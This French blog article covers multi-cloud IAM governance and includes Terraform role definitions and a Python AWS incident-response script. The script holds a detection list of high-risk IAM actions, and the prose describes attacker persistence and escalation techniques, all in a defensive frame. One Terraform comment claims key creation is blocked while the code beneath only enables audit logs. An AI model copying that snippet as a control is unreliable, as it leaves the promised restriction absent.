L'approche itérative est la seule viable lorsque les permissions exactes ne sont pas connues a priori. Phase 1 : déployer la charge de travail avec un rôle relativement large (mais pas admin/editor) en environnement de développement, avec une journalisation complète des appels API. Phase 2 : après 2-4 semaines de fonctionnement normal, analyser les logs pour identifier les permissions réellement utilisées. AWS IAM Access Analyzer, GCP IAM Recommender et les logs Azure Activity peuvent générer une politique/rôle basé sur l'utilisation réelle. Phase 3 : créer un rôle custom ne contenant que les permissions observées, avec une marge de 10-20% pour les opérations occasionnelles (maintenances, mises à jour). Phase 4 : déployer le rôle restrictif et monitorer les erreurs de permissions (AccessDenied dans CloudTrail, 403 dans GCP Audit Logs). Phase 5 : ajuster itérativement en ajoutant les permissions manquantes légitimes. Cette approche « start broad, narrow down » est plus pragmatique que l'approche « start with nothing, add as needed » qui bloque le fonctionnement de l'application.
Comment gérer les accès d'urgence (break-glass) dans chaque cloud ?
Les comptes break-glass dans le cloud doivent être conçus pour garantir l'accès même lorsque le fournisseur d'identité (IdP) est indisponible. Pour AWS : créer un IAM User (pas fédéré) avec des access keys stockées dans un coffre-fort physique, protégé par MFA hardware (YubiKey), avec une politique AdministratorAccess. Le SCP de l'organisation doit explicitement exclure ce compte de ses restrictions. Pour Azure : créer deux comptes cloud-only (pas synchronisés depuis AD) avec le rôle Global Administrator permanent (pas via PIM), exclus de toutes les politiques Conditional Access, avec des clés FIDO2 et des mots de passe longs stockés séparément. Pour GCP : créer un utilisateur dans le domaine Cloud Identity (pas dans un IdP externe) avec le rôle Organization Admin, protégé par des security keys. Dans les trois cas : monitoring immédiat de toute connexion, test trimestriel, procédure documentée de déclenchement nécessitant l'approbation de deux personnes distinctes.
Validation et tests
Quelles sont les erreurs IAM les plus fréquentes lors de la migration vers le multi-cloud ?
Les cinq erreurs les plus fréquentes sont : (1) la réplication du modèle IAM d'un cloud vers un autre sans adaptation — les concepts ne sont pas transposables directement (une policy AWS n'est pas un rôle Azure). (2) L'utilisation de credentials long-terme pour les intégrations cross-cloud (clés API stockées dans des variables d'environnement) au lieu de la fédération d'identité workload. (3) L'absence de gouvernance organisationnelle (pas de SCPs, pas d'Organization Policies) dans les nouveaux clouds, alors que le cloud principal est correctement gouverné. (4) La duplication des identités humaines dans chaque cloud au lieu de fédérer depuis un IdP unique, créant des risques de désynchronisation lors de l'offboarding. (5) L'attribution de permissions admin « temporaires » pour les tests et migrations qui deviennent permanentes par oubli. La mitigation de ces erreurs passe par une formation cloud-spécifique pour les équipes, l'utilisation d'outils d'audit multi-cloud (Prowler, ScoutSuite) dès le premier jour, et l'adoption d'un framework de gouvernance multi-cloud documenté avant le déploiement de charges de travail.
Comment évaluer la posture IAM globale d'une organisation multi-cloud ?
L'évaluation de la posture IAM multi-cloud utilise un framework de maturité à cinq niveaux. Niveau 1 (Initial) : comptes root/admin utilisés quotidiennement, credentials long-terme partout, pas de MFA, pas d'audit. Niveau 2 (Basique) : MFA activé pour les administrateurs, rôles prédéfinis utilisés au lieu de admin, CloudTrail/Audit Logs activés. Niveau 3 (Structuré) : fédération d'identité depuis un IdP unique, rôles custom granulaires, SCPs/Organization Policies en place, audit Prowler trimestriel. Niveau 4 (Avancé) : PIM/JIT access pour les privilèges, Workload Identity Federation pour les machines, Permission Boundaries, analyse des graphes d'escalade (PMapper), rotation automatique des credentials, access reviews automatisées. Niveau 5 (Optimal) : moindre privilège basé sur l'analyse d'utilisation (IAM Access Analyzer, IAM Recommender), détection en temps réel des anomalies IAM dans un SIEM, Infrastructure as Code pour toutes les configurations IAM, tests de sécurité IAM dans les pipelines CI/CD, exercices de simulation d'escalade réguliers. La plupart des organisations se situent entre les niveaux 2 et 3, et le passage au niveau 4 nécessite un investissement significatif en outillage et en compétences.
Analyse complémentaire
Infrastructure as Code pour les configurations IAM
La gestion des configurations IAM via Infrastructure as Code (IaC) est devenue indispensable pour maintenir la cohérence, la traçabilité et la reproductibilité des permissions dans les environnements cloud de production. Terraform, Pulumi et les outils natifs de chaque cloud (CloudFormation, Bicep, Config Connector) permettent de déclarer les configurations IAM comme du code versionné, testé et déployé via des pipelines automatisés.
# Terraform — Configuration IAM multi-cloud
# --- AWS IAM Role avec Permission Boundary ---
resource "aws_iam_role" "app_backend" {
name = "app-backend-production"
max_session_duration = 3600
permissions_boundary = aws_iam_policy.permission_boundary.arn
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Action = "sts:AssumeRole"
Effect = "Allow"
Principal = {
Service = "ecs-tasks.amazonaws.com"
}
Condition = {
StringEquals = {
"aws:SourceAccount" = data.aws_caller_identity.current.account_id
}
}
}]
})
tags = {
Team = "backend"
Environment = "production"
ManagedBy = "terraform"
LastReview = "2026-04-01"
}
}
resource "aws_iam_policy" "app_backend_policy" {
name = "app-backend-production-policy"
description = "Permissions minimales pour le backend de production"
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Sid = "S3ReadProductionBucket"
Effect = "Allow"
Action = [
"s3:GetObject",
"s3:ListBucket"
]
Resource = [
aws_s3_bucket.production_data.arn,
"${aws_s3_bucket.production_data.arn}/*"
]
},
{
Sid = "SecretsManagerReadAppSecrets"
Effect = "Allow"
Action = [
"secretsmanager:GetSecretValue"
]
Resource = [
"arn:aws:secretsmanager:eu-west-1:*:secret:production/backend/*"
]
},
{
Sid = "DenyAllOutsideEU"
Effect = "Deny"
Action = "*"
Resource = "*"
Condition = {
StringNotEquals = {
"aws:RequestedRegion" = ["eu-west-1", "eu-west-3"]
}
}
}
]
})
}
resource "aws_iam_role_policy_attachment" "app_backend" {
role = aws_iam_role.app_backend.name
policy_arn = aws_iam_policy.app_backend_policy.arn
}
# --- Azure Custom Role ---
resource "azurerm_role_definition" "storage_auditor" {
name = "Storage Blob Auditor"
scope = data.azurerm_subscription.primary.id
description = "Peut lire les blobs et les logs, mais pas modifier les données"
permissions {
actions = [
"Microsoft.Storage/storageAccounts/read",
"Microsoft.Storage/storageAccounts/blobServices/read",
"Microsoft.Storage/storageAccounts/blobServices/containers/read",
"Microsoft.Insights/diagnosticSettings/read"
]
not_actions = []
data_actions = [
"Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read"
]
not_data_actions = [
"Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write",
"Microsoft.Storage/storageAccounts/blobServices/containers/blobs/delete"
]
}
assignable_scopes = [
data.azurerm_subscription.primary.id
]
}
# --- GCP IAM avec conditions ---
resource "google_project_iam_member" "storage_viewer" {
project = var.project_id
role = "roles/storage.objectViewer"
member = "serviceAccount:${google_service_account.app_backend.email}"
condition {
title = "Production buckets only"
description = "Limite l'accès aux buckets de production"
expression = "resource.name.startsWith(\"projects/_/buckets/prod-\")"
}
}
resource "google_service_account" "app_backend" {
account_id = "app-backend-prod"
display_name = "Backend Application - Production"
description = "SA pour l'application backend, accès Storage uniquement"
project = var.project_id
}
# Interdire la création de clés de service account
resource "google_project_iam_audit_config" "all_services" {
project = var.project_id
service = "allServices"
audit_log_config {
log_type = "ADMIN_READ"
}
audit_log_config {
log_type = "DATA_WRITE"
}
}
Les tests de sécurité sur le code Terraform IAM constituent une pratique DevSecOps essentielle. L'outil tfsec (désormais intégré dans Trivy) analyse les configurations Terraform et détecte les problèmes de sécurité IAM : politiques avec des wildcards, absence de conditions sur les AssumeRole, credentials sans rotation, et permissions excessives. Checkov de Bridgecrew offre des capacités similaires avec des checks alignés sur CIS Benchmarks. Regula de Fugue applique des politiques OPA/Rego sur les plans Terraform avant l'application, permettant de bloquer les configurations IAM non conformes dans le pipeline CI/CD avant qu'elles n'atteignent le cloud.
Configuration avancée
La gestion du state Terraform pour les configurations IAM sensibles nécessite une attention particulière. Le state file contient potentiellement des valeurs sensibles (ARN de politiques, identifiants de rôles) et doit être stocké dans un backend sécurisé (S3 chiffré avec versioning, Azure Blob avec soft delete, GCS avec retention policy). L'accès au state doit être restreint aux pipelines de déploiement et aux administrateurs IAM, pas aux développeurs applicatifs qui n'ont pas besoin de visibilité sur les configurations IAM d'autres équipes.
Réponse aux incidents IAM : procédures et automatisation
La compromission d'une identité cloud est l'un des scénarios d'incident les plus critiques car elle peut donner à l'attaquant un accès immédiat à l'ensemble des ressources associées à cette identité. La réponse à un incident IAM doit être rapide, méthodique et largement automatisée pour limiter l'impact dans un environnement où chaque minute d'accès non autorisé peut conduire à une exfiltration massive de données.
# Playbook de réponse à incident IAM — automatisé (Python)
import boto3
import json
from datetime import datetime, timedelta
class IAMIncidentResponder:
"""
Automatise les actions de containment lors d'un incident
de compromission d'identité IAM AWS.
"""
def __init__(self, region='eu-west-1'):
self.iam = boto3.client('iam')
self.sts = boto3.client('sts')
self.cloudtrail = boto3.client('cloudtrail', region_name=region)
self.incident_log = []
def contain_compromised_user(self, username):
"""
Containment immédiat d'un utilisateur IAM compromis.
"""
self.log(f"INCIDENT: Containment de l'utilisateur {username}")
# 1. Désactiver toutes les access keys
keys = self.iam.list_access_keys(UserName=username)
for key in keys['AccessKeyMetadata']:
self.iam.update_access_key(
UserName=username,
AccessKeyId=key['AccessKeyId'],
Status='Inactive'
)
self.log(f" Access key {key['AccessKeyId']} désactivée")
# 2. Supprimer le mot de passe console (si existant)
try:
self.iam.delete_login_profile(UserName=username)
self.log(f" Login profile supprimé")
except self.iam.exceptions.NoSuchEntityException:
self.log(f" Pas de login profile à supprimer")
# 3. Attacher une politique de deny total
deny_policy = {
"Version": "2012-10-17",
"Statement": [{
"Sid": "IncidentContainment",
"Effect": "Deny",
"Action": "*",
"Resource": "*"
}]
}
self.iam.put_user_policy(
UserName=username,
PolicyName='INCIDENT-DENY-ALL',
PolicyDocument=json.dumps(deny_policy)
)
self.log(f" Politique DENY-ALL attachée")
# 4. Révoquer toutes les sessions actives (IAM policy avec condition de date)
revoke_policy = {
"Version": "2012-10-17",
"Statement": [{
"Sid": "RevokeOldSessions",
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"DateLessThan": {
"aws:TokenIssueTime": datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
}
}
}]
}
self.iam.put_user_policy(
UserName=username,
PolicyName='INCIDENT-REVOKE-SESSIONS',
PolicyDocument=json.dumps(revoke_policy)
)
self.log(f" Anciennes sessions révoquées")
# 5. Supprimer les certificats MFA (l'attaquant pourrait avoir enregistré les siens)
mfa_devices = self.iam.list_mfa_devices(UserName=username)
for device in mfa_devices['MFADevices']:
self.iam.deactivate_mfa_device(
UserName=username,
SerialNumber=device['SerialNumber']
)
self.log(f" MFA device {device['SerialNumber']} désactivé")
return self.incident_log
def contain_compromised_role(self, role_name):
"""
Containment d'un rôle IAM compromis.
"""
self.log(f"INCIDENT: Containment du rôle {role_name}")
# 1. Modifier la trust policy pour bloquer l'assumption
empty_trust = {
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "*",
"Action": "sts:AssumeRole"
}]
}
self.iam.update_assume_role_policy(
RoleName=role_name,
PolicyDocument=json.dumps(empty_trust)
)
self.log(f" Trust policy vidée (plus personne ne peut assumer le rôle)")
# 2. Attacher un deny-all
deny_policy = {
"Version": "2012-10-17",
"Statement": [{
"Sid": "IncidentContainment",
"Effect": "Deny",
"Action": "*",
"Resource": "*"
}]
}
self.iam.put_role_policy(
RoleName=role_name,
PolicyName='INCIDENT-DENY-ALL',
PolicyDocument=json.dumps(deny_policy)
)
self.log(f" Politique DENY-ALL attachée au rôle")
# NOTE: Les tokens STS déjà émis restent valides jusqu'à expiration
# La durée max est celle configurée sur le rôle (default 1h, max 12h)
# Le deny-all bloque les appels API mais le token existe toujours
return self.incident_log
def investigate_activity(self, identity_arn, hours_back=72):
"""
Récupère l'activité CloudTrail de l'identité compromise.
"""
events = []
paginator = self.cloudtrail.get_paginator('lookup_events')
for page in paginator.paginate(
LookupAttributes=[{
'AttributeKey': 'Username',
'AttributeValue': identity_arn.split('/')[-1]
}],
StartTime=datetime.utcnow() - timedelta(hours=hours_back),
EndTime=datetime.utcnow()
):
events.extend(page['Events'])
# Analyser les événements suspects
suspicious = []
high_risk_actions = [
'CreateUser', 'CreateAccessKey', 'AttachUserPolicy',
'CreateRole', 'UpdateAssumeRolePolicy', 'PutUserPolicy',
'CreatePolicyVersion', 'AssumeRole'
]
for event in events:
event_data = json.loads(event['CloudTrailEvent'])
if event_data.get('eventName') in high_risk_actions:
suspicious.append({
'time': event['EventTime'].isoformat(),
'action': event_data['eventName'],
'source_ip': event_data.get('sourceIPAddress'),
'user_agent': event_data.get('userAgent'),
'resources': event_data.get('requestParameters', {})
})
return {
'total_events': len(events),
'suspicious_events': suspicious,
'unique_ips': list(set(
json.loads(e['CloudTrailEvent']).get('sourceIPAddress', 'unknown')
for e in events
))
}
def log(self, message):
entry = f"[{datetime.utcnow().isoformat()}] {message}"
self.incident_log.append(entry)
print(entry)
# Utilisation lors d'un incident
responder = IAMIncidentResponder()
# Containment immédiat
responder.contain_compromised_user('compromised-user')
# Investigation
activity = responder.investigate_activity(
'arn:aws:iam::123456789012:user/compromised-user',
hours_back=168 # 7 jours
)
print(f"Événements suspects: {len(activity['suspicious_events'])}")
print(f"IPs sources: {activity['unique_ips']}")
La procédure de réponse à incident IAM pour Azure et GCP suit les mêmes principes avec des API différentes. Pour Azure : révoquer toutes les sessions Entra ID via Revoke-MgUserSignInSession, désactiver le compte, réinitialiser le mot de passe, supprimer les méthodes MFA enregistrées, et analyser les Sign-in Logs et Audit Logs. Pour GCP : désactiver le Service Account, supprimer ses clés, retirer ses bindings IAM, et analyser les Cloud Audit Logs. L'automatisation cross-cloud via un SOAR (Security Orchestration, Automation and Response) comme Microsoft Sentinel, Palo Alto XSOAR ou Splunk SOAR permet d'exécuter ces procédures en quelques secondes après la détection, réduisant drastiquement le temps de containment.
Détection et alerting
L'aspect le plus critique de la réponse à incident IAM est la persistence de l'attaquant. Un attaquant sophistiqué qui compromet une identité cloud ne se contente pas d'exfiltrer des données — il crée des backdoors pour maintenir son accès : nouvelles access keys sur d'autres utilisateurs, nouveaux rôles avec des trust policies ouvertes, Lambda functions de persistance déclenchées périodiquement, clés de service account GCP non documentées. L'investigation post-incident doit systématiquement rechercher ces mécanismes de persistance dans les logs d'audit pour s'assurer que le containment est complet.
Réponse à incident IAM — séquence critique : (1) CONTAINMENT IMMÉDIAT : désactiver l'identité, révoquer les sessions, attacher un deny-all (< 5 minutes). (2) INVESTIGATION : analyser les logs d'audit pour déterminer l'étendue de la compromission (< 1 heure). (3) ÉRADICATION : supprimer les mécanismes de persistance créés par l'attaquant (nouvelles clés, nouveaux rôles, Lambda, triggers). (4) RECOVERY : recréer les credentials légitimes, restaurer les permissions normales. (5) LESSONS LEARNED : identifier la cause racine et renforcer les contrôles préventifs.
Conclusion : vers une gouvernance IAM unifiée
La gestion des identités et des accès dans un environnement multi-cloud exige une maîtrise technique approfondie de trois modèles fondamentalement différents — les politiques JSON déclaratives d'AWS, le RBAC hiérarchique d'Azure avec PIM, et les bindings conditionnels de GCP — tout en maintenant une vision de gouvernance unifiée. Les vecteurs d'escalade de privilèges, bien que spécifiques à chaque cloud dans leur implémentation, reposent sur les mêmes principes fondamentaux : la capacité de modifier ses propres permissions, de créer des credentials pour des identités plus privilégiées, ou de lancer des ressources de calcul héritant de permissions élevées. L'automatisation du moindre privilège via les outils natifs de chaque cloud (IAM Access Analyzer, PIM Access Reviews, IAM Recommender), complétée par des audits multi-cloud réguliers avec des outils comme Prowler et ScoutSuite, constitue le socle opérationnel indispensable pour toute organisation opérant dans le cloud public en 2026. La convergence vers une identité centralisée, des credentials temporaires et une gouvernance organisationnelle à chaque niveau de la hiérarchie cloud transforme un patchwork de configurations IAM hétérogènes en une posture de sécurité cohérente et auditable.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
Audit Sécurité Pipeline CI/CD : SAST, DAST, SCA Intégrés
Les pipelines CI/CD constituent désormais le système nerveux central de toute organisation logicielle. Chaque commit déclenche une cascade d'opérations automatisées — compilation, tests, analyse, déploiement — qui transforme du code source en artefacts de production en quelques minutes. Cette vélocité...
Kubernetes RBAC : Guide Sécurisation des Permissions
Le contrôle d'accès basé sur les rôles (RBAC) dans Kubernetes constitue le mécanisme fondamental de gouvernance des permissions au sein d'un cluster. Chaque requête adressée à l'API Server — qu'elle provienne d'un administrateur exécutant kubectl, d'un pod accédant à des...
Conditional Access Azure : Guide Complet Entra ID 2026
En 2026, la gestion des accès conditionnels dans Microsoft Entra ID (anciennement Azure Active Directory) constitue le socle fondamental de toute stratégie Zero Trust appliquée aux environnements cloud Microsoft. Les politiques de Conditional Access déterminent en temps réel si un...
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire